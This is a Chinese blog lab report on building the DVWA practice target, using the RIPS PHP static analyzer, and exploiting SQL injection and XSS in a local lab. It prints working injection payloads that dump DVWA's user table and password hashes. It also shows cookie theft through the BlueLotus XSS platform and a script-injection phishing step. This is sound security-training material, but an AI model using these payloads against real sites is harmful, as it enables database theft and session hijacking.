实验一 静态代码编码规范审计实验

已于 2023-04-02 21:27:14 修改
阅读量602 收藏 4
点赞数 3
分类专栏： PHP漏洞挖掘（一）--PHP基础知识 文章标签： 源代码管理 php 安全 apache
于 2023-04-01 15:49:58 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_59611876/article/details/129898224
版权
本文介绍了如何在PHPStudy和WampServer上搭建DVWA靶场以学习网络安全，特别是SQL注入和XSS漏洞。同时，文章详细讲解了RIPS这款PHP静态代码分析工具的安装和使用，以及其在检测安全漏洞方面的作用。最后，文章通过实例分析了SQL注入和XSS的基本概念、危害和利用方法。
摘要由CSDN通过智能技术生成

实验一 静态代码编码规范审计实验

一、PHPstudy 搭建 DVWA

DVWA 是 OWASP 官方编写的 PHP 网站，包含了各种网站常见漏洞，可以学习攻击及修复方式。一个好的靶场，是黑客和网络安全从业者最方便和安全的磨刀石。接下来我们来谈一谈如何安装DVWA。
  1. 下载 PHPStudy，解压。（下载的时候，和安装 XAMPP 一样，不要安装到 C 盘。这个只对于没有单独安装Apache、Mysql、php 的同学可以安装，因为没有端口冲突。如果安装了其中的一个，需要自己手动配置，比较麻烦。）在这里插入图片描述

点击启动，当显示为绿色就代表没有问题。红色就代表不能正常运行，有可能是端口号发生了冲突。
在这里插入图片描述

  1. 然后在 PHPstudy 的环境中搭建 DVWA 的靶场。点开 phpstudy 的安装目录，到 PHPTutorial 文件夹中的 www 文件夹。然后将下载好的 DVWA 复制到 www 文件夹当中。
    在这里插入图片描述

  2. 然后在网址中输入 127.0.0.1/DVWA — master 访问。（注意，如果下载的文件名字是 DVWA ，不是 master，那么我们输入 127.0.0.1/DVWA 就可以了）
    在这里插入图片描述

  3. 将后缀名 .dist 删掉
    在这里插入图片描述

成为这样
在这里插入图片描述

我们接着再次访问刚刚输入的地址就会发现，成功访问 DVWA
在这里插入图片描述

  1. 我们会发现，需要创建一个数据库，直接点击创建会提示无法创建数据库
    在这里插入图片描述

找到刚才删掉后缀".dist"的文件，打开并修改配置
在这里插入图片描述
在这里插入图片描述

  1. 再次点击创建数据库，会提示创建成功，并跳转到登录页面在这里插入图片描述

  2. 登录 DVWA。默认账号为 admin，默认密码为 password

  3. 登陆成功，对于初学者来说，一定要修改靶场难度。
    在这里插入图片描述

ok，DVWA 在 phpstudy 上的搭建我们就完成了，这些是2022年末的时候搭建的，我们来看如何在 WampServer 上搭建 DVWA。

二、WampServer搭建DVWA

https://blog.csdn.net/qq_59611876/article/details/128924681（如果没有环境请看我这篇笔记）

1、在 WampServer 安装路径 www 文件夹下创建环境所需文件夹image-20230401093843756

2、在我的电脑中按照这个路径，找到一个文件

C:\Windows\System32\drivers\etc

image-20230207162252226

image-20230401093713459

测试，连接成功image-20230401102311848

  1. 在相应的文件中配置虚拟主机
E:\Wamp\wamp\bin\apache\apache2.4.9\conf

image-20230401102548480

  1. 复制粘贴这段代码到末尾

    <VirtualHost *:80>
	ServerName www.d.com
		DocumentRoot "E:/Wamp/wamp/www/www.d.com"
		<Directory "E:/Wamp/wamp/www/www.d.com">
		Order Deny,Allow
		Allow from all
		</Directory>
	#给默认的首页
	Options Indexes FollowSymLinks
</VirtualHost>

    image-20230401103623454

    需要注意的是，因为我的 WampServer 安装在 E 盘，所以只需把路径中的盘符修改为自己安装的位置即可，其他的无需修改。在www.d.com文件中创立一个测试文件

    image-20230401103842813

    在网址中输入www.d.com

    image-20230401103723561

    测试成功。

  2. 将 DVWA 中所有的文件解压缩到 www.d.com 文件夹中image-20230401104409568

再来配置环境，image-20230401104743436

输入www.d.com，可以成功访问dvwa，然后创建数据库

image-20230401105739256

发现有报错，然后发现一片飘红，我们打开 WampServer 桌面右下角，PHP→phpsetting→把 PHP function allow_url_include 勾选，然偶刷新。

然后再打开config文件

E:\Wamp\wamp\www\www.d.com\config

image-20230401110601593

$_DVWA[ 'recaptcha_public_key' ]  = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';
$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';

三、RIPS的介绍与安装

1、RIPS的介绍

RIPS用于 PHP 脚本漏洞的静态源代码分析器

RIPS 是最流行的静态代码分析工具，可自动检测 PHP 应用程序中的漏洞。通过对所有源代码文件进行标记和解析，RIPS 能够将 PHP 源代码转换为程序模型，并检测在程序流程中可能被用户输入（受恶意用户影响）污染的敏感接收器（可能存在漏洞的函数）。除了发现漏洞的结构化输出之外，RIPS 还提供了一个集成的代码审计框架.

使用了静态分析技术，能够自动化地挖掘PHP源代码潜在的安全漏洞如XSS ，SQL注入，敏感信息泄漏，文件包含等常见漏洞；也可以采用正则方式扫描代码发现漏洞；还能够采用自定义的语法扫描代码发现问题。渗透测试人员可以直接容易的审阅分析结果，而不用审阅整个程序代码。当然，最后去校验结果必须是我们自己去做.

RIPS 能够检测 XSS, SQL 注入, 文件泄露, Header Injection 漏洞等等

可以实现跨文件的变量和函数追踪 误报率很低

2、RIPS的安装

  1. image-20230401141419407

  2. 将下载好的 RIPS 压缩到此文件夹中image-20230401141614603

  3. 在网站中输入

    http://www.d.com/RIPS/

    image-20230401141727461

    ok，访问成功。

3、RIPS使用说明

image-20230401143014164

如上图，是RIPS的主界面

​ **源码的绝对路径：**待扫描代码的文件地址；

​ **扫描子目录：**是否对代码的子目录进行扫描，勾选将会扫描子目录，不勾选只扫描当前目录下的PHP文件；

​ **扫描级别：**选择source点，即可控制的输入点，定义在rips下config/sources.php中；

image-20230401145534654

​ **漏洞类型：**选择sink点，即可能会触发各种风险的函数，定义在rips下config/sinks.php中；

image-20230401145555869

​ **扫描：**选择好前面的选项，点击该按钮即可开始扫描；

​ **代码样式:**扫描结果的展示方式；

image-20230401145659792

​ **正则表达式：**要搜索内容的正则表达式；

​ **查找：**根据正则表达式对全局代码进行搜索；

案例：

我们扫描刚刚创建好的目录

E:\Wamp\wamp\www\www.d.com

image-20230401144159625

扫描结果如下图所示，漏洞类型以及数量都在其中有显示。image-20230401144307324

左上角各类型功能说明image-20230401145044020

四、典型漏洞分析（SQL注入和XSS）

4-1 SQL注入漏洞基础–DVWA-LOW级别

声明！！！本教程仅限于网络安全学习，严禁用于非法途径。若因此作出任何危害网络安全行为后果自负，与本人无关。

4-1-1 SQL注入的原理

只要这个程序是人写的，那么一定会存在SQL注入的点。当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理，那么攻击者就可以构造特殊的SQL语句，直接输入数据库引擎执行，获取或修改数据库中的数据。

4-1-2 SQL注入的本质

​ 把用户输入的数据当做代码来执行，违背了“数据与代码分离”的原则

4-1-3 SQL注入的两个关键点

1、用户能够控制输入的内容;

2、Web应用把用户输入的内容带入到数据库中执行

4-1-4 SQL注入的危害

  1. 盗取网站的敏感信息

  2. 绕过网站后台认证

  3. 后台登录语句
	SELECT * FROM admin WHERE username = 'user' and password = 'pass'
万能密码
	'or '1' = '1' #

  4. 借助SQL注入漏洞提权获取系统权限

  5. 读取文件信息

4-1-5 SQL注入的分类

  1. 根据注入位置分类:GET型、POST型、Head头注入
  2. 根据反馈结果分类:有回显（显错注入）、无回显（盲注)
  3. 根据数据类型分类:
    • 数字型:输入的参数为整型，如id、年龄、页码等
    • 字符型:输入的参数为字符串
  4. 数字型与字符型最大的区别在于:数字型不需要单引号闭合,而字符串型一般需要单引号闭合。

4-1-6 SQL注入的流程

  1. 查询数据库类型
  2. 查询当前系统所使用的数据库名称是什么
  3. 查询当前数据库的表有什么
  4. 查询想要的信息内容

4-1-7 Low SQL Injection 注入

  1. 查看 源码我们会发现，定义了一个id，并且通过下述代码可以发现，Low级别没有对参数 id进行过滤，直接拼接到SQL语句中，存在明显的SQL注入漏洞。

    image-20221214224833493

    随便输入一串字符串，比如1asd,

    • 若无报错，说明是字符型，无闭合或 ）闭合
    • 若有报错，说明是数字型，在判断闭合方式，’ " ') ")

  2. 输入没报错，我们再输入一个单引号判断闭合方式，发现报错

    image-20221215080450655

    提示了两个信息，数据库类型是Mysql，闭合方式我们知道是单引号。这就是有回显注入，有错误信息提示。

    本来是
	select * from 表名 where id = '1asd'  可以被识别到
我们加一个单引号之后变成了
	select * from 表名 where id = '1asd' '  无法识别，因此会报错

  3. 我们输入
	 0' or 1 =1#
会发现显示了所有的数据

    image-20221215081951603

  4. 猜测字段数

    1' order by 字段数 #
随便输入，用二分法思想找确定字段数，最终可以确定字段数为2。虽然不输入也会显示两个字段，但是前端显示的和后端其实是不一样的。

image-20221215225525504

  1. 判断列数及回显位

    union关键字，联合查询，就是把两个select语句合并为一条语句，显示为一个结果。联合查询下，两个select一定要相同字段数量。
比如说：
	select * from users
	select * from books
变成一条后，就成为了
	select * from users union select * from books
	
我们输入
	1' union select 1,database()#
知道了数据库的名称为dvwa，接下来我们需要知道更多关于这个数据库的信息。

    image-20221215231019678

  2. 查询表

    information_schema查询表名
我们输入
	0' union select 1,table_name from information_schema.tables where table_schema = 'dvwa

    image-20221215232223774

    我们可以知道，表名为guestbook和users。

  3. 查询指定表的字段信息

    information_schema查询字段信息
我们输入
	0' union select 1,column_name from information_schema.columns where table_name='users

    这样我们就得到了users表全部字段信息

    image-20221216070900756

    但是我们想要在一行显示出来，我们对输入的语句进行优化：

    0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users

    所有数据就会在一行显示出来

    image-20221216071211255

  4. 查询想要的信息内容

    我们输入
	0' union select user,password from users#

    image-20221216071830461

    到此为止我们就获取到了全部的用户名和密码。但是密码我们发现是加密的，由于是MySQL数据库，因此我们知道加密方式为MD5，复制加密的密码，浏览器搜索MD5在线解压，即可获得解密后的密码。

    我们以第一个为例，得知密码为password

    image-20221216072440517

4-2 XSS漏洞

4-2-1 什么是XSS？

  • XSS(Cross Site Scripting):跨站脚本攻击，为了不和层叠样式表(Cascading Style Sheets)的缩写CSS混合，所以改名为XSS 。
  • XSS原理:攻击者在网页中嵌入客户端脚本（通常是JavaScript的恶意脚本），当用户使用浏览器加载被嵌入恶意代码的网页时，恶意脚本代码就会在用户的浏览器执行，造成跨站脚本攻击。

4-2-2 XSS的危害

  • 盗取Cookie
  • 网络钓鱼
  • 植马挖矿
  • 刷流量
  • 劫持后台
  • 篡改页面
  • 内网扫描
  • 制造蠕虫等image-20221216163322371

4-2-3 XSS常出现的场景

  • 重灾区：评论区、留言区、个人信息、订单信息等
  • 针对型： 站内信、网页即时通讯、私信、意见反馈
  • 存在风险：搜索框、当前目录、图片属性等

所以将来在工作中我们应该重点关注这些容易遭到攻击的地方。

4-2-4 XSS的分类

  • 反射型XSS

  • 存储型XSS

  • DOM型XSS

  1. 反射型XSS：
    • 反射型XSS是非持久性、参数型的跨站脚本，恶意代码并没有保存在目标网站，通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
    • 出现场景:多出现在搜索框或者输入框。

image-20221216163948297

反射型XSS利用流程：

image-20221216164047384

  1. 存储型XSS：

    • 恶意代码被保存到目标网站的服务器中，这种攻击具有较强的稳定性和持久性。
    • 比较常见的场景是，黑客写下一篇包含有恶意JavaScript代码的博客文章，文章发表后，所有访问该博客的用户，都会在他们的浏览器中执行这段恶意js代码。

    image-20221216164305836

  2. DOM型XSS：

    • DOM，全称Document 0bject Model（文档对象模型），是W3C推荐的一种独立于平台和语言的标准，定义了访问HTML和XML文档的标准。

    • Dom即window对象下内置的document对象。

      image-20221216164516432

    DOM-XSS简单去理解就是输出点在DOM，属于特殊的反射型XSS

    image-20221216164624943

    常用的DOM方法：

    image-20221216164706504

4-2-5 三种类型的比较

XSS型存储型反射型DOM型
触发过程1、黑客构造xSS脚本 2、正常用户访问携带XSS脚本的页面正常用户访问携带XSS脚本的URL正常用户访问携带XSS脚本的URL
数据存储服务器URLURL
谁来输出后端Web应用程序后端Web应用程序前端JavaScript
输出位置HTTP响应中HTTP响应中动态构造的DOM节点中
是否持久是否否

4-2-6 利用BLUE-LOTUS平台进行XSS攻击

BLUE-LOTUS是清华大学蓝莲花战队搭建的一个开源XSS平台，可以利用XSS漏洞窃取cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息等。

蓝莲花的安装：

  1. 将下载好的BlueLotus放到phpstudy中的phptutorial下的www文件夹中image-20221217182306873
  2. 输入127.0.0.1/BlueLotus访问蓝莲花平台，点击安装，然后提交，输入默认密码，进入平台

image-20221217182502117

  1. 这就是蓝莲花平台

  2. image-20221217182724264

  3. 按照以下步骤操作，复制生成的payload，到输入框

    image-20221217183622772

  4. 然后我们在后台就获得到了dvwa靶场的cookie，我们可以利用它直接登录。

    image-20221217184335190

4-2-7 漏洞钓鱼

利用XSS漏洞，可以修改网站的链接，让用户访问伪装成正常网站的恶意网站。比如，可以利用flash钓鱼。将项目源码放到web网站里，修改flash.js第10行的链接为项目的首页链接,然后在漏洞处插入payload。

  1. 我们将flash下载好，放到放到phpstudy中的phptutorial下的www文件夹中。

  2. image-20221217185322692

    image-20221217185406461

  3. 然后在DVWA靶场中（反射型XSS，low级别）输入：

    <script src=http://127.0.0.1/flash/flash.js>

    就会出现一个弹窗，然后就会来到flah网站下载页面

    image-20221217185625176

    image-20221217185642075

    所以不清楚的链接不要随便点击！！！

五、实验结和感想。

1、通过本次实验，学会了用不同平台搭建DVWA靶场，并及时处理遇到的问题，比如端口冲突如何解决、DVWA乱码等等问题。

2、初步掌握RIPS原理、界面、以及各种功能的使用，在后续的学习中，需要利用各种代码审计的工具来进行源代码审计。

3、在去年的网安冬令营学到的知识的基础上进行总结分析，重点分析、回顾了SQL注入与XSS两种典型漏洞

网安的水很深，需要学习的东西太多太多，要想不被时代抛弃，我们只能不断的进行学习，活到老学到老。

zbzcms代码审计实验2
A1956936030的博客
12-15 2968
前台未授权添加管理员 一、用seay代码审计系统，自动审计代码，发现可疑代码 二、查看代码，并分析看看 发现可疑参数mima和guanliyuan，即密码和管理员， 构造URL /cms/cms/admin/run_ajax.php?run=admin 构造payload mima=haha123&guanliyuan=haha 三、使用hackbar插件执行payload 发现返回一个值为5 尝试用构造的管理员用户和密码登录看看 发现权限不足无法登录，这里有两种方
一次代码审计实战案例【思路流程】
qq_53058639的博客
02-15 529
1、一些敏感业务不要轻易放到公网服务器上，放上一定要做好安全。2、在溯源分析时，遇到傀儡机可以考虑下蹭马利用的方式。3、数据库密码哈希值获取，搜寻敏感信息。4、社工查询：谷歌搜索、QQ资料、细心关联分析。网络安全入门学习路线其实入门网络安全要学的东西不算多，也就是网络基础+操作系统+中间件+数据库，四个流程下来就差不多了。1.网络安全法和了解电脑基础其中包括操作系统Windows基础和Linux基础，标记语言HTML基础和代码JS基础，以及网络基础、数据库基础和虚拟机使用等...
代码审计感想
ououla的博客
09-02 574
代码审计感想代码审计内容代码审计工具漏洞扫描漏洞扫描有以下四种检测技术： 代码审计内容 代码审计（Code audit）是一种以发现程序错误，安全漏洞和违反程序规范为目标的源代码分析。软件代码审计是对编程项目中源代码的全面分析，旨在发现错误，安全漏洞或违反编程约定。 它是防御性编程范例的一个组成部分，它试图在软件发布之前减少错误。 C和C ++源代码是最常见的审计代码，因为许多高级语言（如Pyt...
Python代码规范：企业级代码静态扫描-代码规范、逻辑、语法、安全检查，以及代码规范自动编排（1）
SteveRocket's-Blog
04-03 2750
适用于企业实际使用Python或Python框架（Tornado、Django、Flask等）开发的项目作为扫描目标，进行代码规范、逻辑、语法、安全检查。代码风格规范主要有几个方面：命名规范、语言规范、格式规范。其中大部分命名规范和语言规范主要需要开发者编写代码的时候遵循。规范检测方面涉及到的主要工具：pylint、flake8、pyproject-flake8、pyflakes、mypy、autoflake、yapf、black。
安全测试方法介绍（上）静态源代码审查
daopuyun的博客
07-12 1048
下图是我之前做过的一个截图，这是一个XSS的攻击，通过源代码审查可以把注入点定位出来，我们可以看到这是从请求中获取了一个字段，经过一个数据流返回到了用户这边。静态源代码审查可以通过人工和工具相结合的方式对源代码的安全性进行测试，可以识别、跟踪和修复源代码中技术上和逻辑上的缺陷，比如软件安全漏洞、质量缺陷问题和业务逻辑问题等。在应用投产前，应由独立的安全团队对应用的安全性进行综合评估，一般会从两个层面进行开展，一方面是功能性安全测试，另一方面是对抗性安全测试。能有效的提高软件的可靠性和安全性。
静态代码编码安全审计: PHP源代码审计工具RIPS
qq_54537919的博客
04-10 4414
PHP源代码审计工具RIPS RIPS简介、RIPS的安装和使用、典型漏洞分析 rips安装 rips介绍 rips扫描的过程和结果
大学生Web安全与代码审计实验指南
资源摘要信息:"《代码审计与Web安全实验合集》是一套专门为学习和实践网络编程安全设计的实验资源，它包含了四个主要实验文档，分别是实验一、实验二、实验三和实验四，适用于大学生在期末复习和完成大作业时使用。...
代码执行权限控制和特定用户的代码审计进行实验数据分析
03-31
抱歉，作为一个AI语言模型，我没有能力执行实验数据分析任务，但我可以提供一些关于代码执行权限控制和代码审计的信息： 代码执行权限控制是指对代码的执行进行限制和监控，以确保只有授权的用户或程序可以运行代码...
web渗透测试之代码审计
赤赤三的博客
03-21 3095
基本信息： 原理： 代码安全测试是从安全的角度对代码进行测试评估 结合丰富的安全知识、编程经验、测试技术，利用静态分析和人工审核的方法寻找代码在架构和编码上的安全缺陷，在代码形成软件前将业务安全降到最低 方式： 人工+工具双重审核 人工审核： 既能解决内部问题也能解决外部问题，最有效率的解决方案，理论上人工审核最有效，但是效率不高，所以会采用自动化分析工具辅助人工的方式来提供效率 静态分析工具： 通过一组全面规则、测试机制和方针在软件开发过程、测试过
Java代码审计漏洞挖掘（入门）
Ms08067安全实验室
11-10 4720
出品｜MS08067实验室（www.ms08067.com）双十一最有意义的事情莫过于是学习一门高级渗透技术了！代码审计属于高级渗透测试服务的一环，顾名思义就是检查源代码中的安全缺陷，检查...
保护网站安全：学习蓝莲花的安装和使用，复现跨站脚本攻击漏洞及XSS接收平台
weixin_43263566的博客
08-29 1084
攻击者将恶意脚本注入到目标网站的数据库中，然后其他用户在访问包含该恶意脚本的页面时，从数据库中读取并执行该恶意脚本。
DVWA靶场-常见漏洞原理以及防御
大博的博客
02-17 2856
本文章可做DVWA普及课件所用 暴力破解 low 查看代码可知，代码中并没有任何防护手段，没有防爆破措施，比如验证码或者是错误登录限制措施，仅仅是设置login参数是否存在。 存在暴力破解和SQL注入。 演示自行使用BP以及自带字典。 medium 比较代码看出，username和password参数都是经过一次mysql_real_escape_string函数转换。查阅手册可知 这个只是减...
DVWA-impossible代码审计
qq_45953122的博客
10-19 667
在暴力破解的impossible级别中，源代码中使用了Token校验，有效的放防止了CSRF攻击，并且进行了预编译查询数据库，防止了SQL注入漏洞。还添加了用户登录失败次数校验，账户锁定规则校验。在命令注入的impossible级别中，源代码中使用了Token校验，有效的放防止了CSRF攻击。在代码逻辑上对用户输入的ip数据进行过滤，也就是对输入的ip进行按位查看是否规范。从而防止了命令注入漏洞的产生。
【OS命令注入02】OS命令注入漏洞靶场实验（基于DVWA靶场四个级别的 command injection）
Fighting_hawk的博客
02-27 3475
1. 了解windows和Linux系统管道符运行特点； 2. 了解OS命令注入的绕过思路。
XSS 进阶篇：一文全面了解蓝莲花基本用法
weixin_43263566的博客
02-02 5133
XSS - 进阶篇（蓝莲花的基本使用）
PHP网站常见安全漏洞及防御方法
weixin_34296641的博客
08-01 332
目前，基于PHP的网站开发已经成为目前网站开发的主流，本文笔者重点从PHP网站攻击与安全防范方面进行探究，旨在减少网站漏洞，希望对大家有所帮助! 一、常见PHP网站安全漏洞 对于PHP的漏洞，目前常见的漏洞有五种。分别是Session文件漏洞、SQL注入漏洞、脚本命令执行漏洞、全局变量漏洞和文件漏洞。这里分别对这些漏洞进行简要的介绍。 1、sessio...
BlueLotus 下载安装使用
最新发布
天泽岁月
02-07 1800
BlueLotus 下载安装使用
搞懂静态代码分析，看这文就够了！
热门推荐
CSDN资讯
04-17 1万+
作者 |赖建新来源 |鉴释封图 |东方IC什么是静态代码分析？静态代码分析是指在不实际执行程序的情况下，对代码语义和行为进行分析，由此找出程序中由于错误的编码导致异常的程序语义或未...
静态代码
diemianta1587的博客
03-05 236
静态代码是服务器不解析直接发送给客户端的部分，用做布局效果，一般不用于数据库操作。 静态代码分html，javascript，css等，其中html语言是基础，要学网络编程就先学html语言.javascript用于实现某些特效，css是样式语言.这3个语言组合起来，可以设计出美妙的网页效果 转载于:https://www.cnblogs.com/ZhengQiZHou/p/104...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

为了孩子他娘而奋斗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值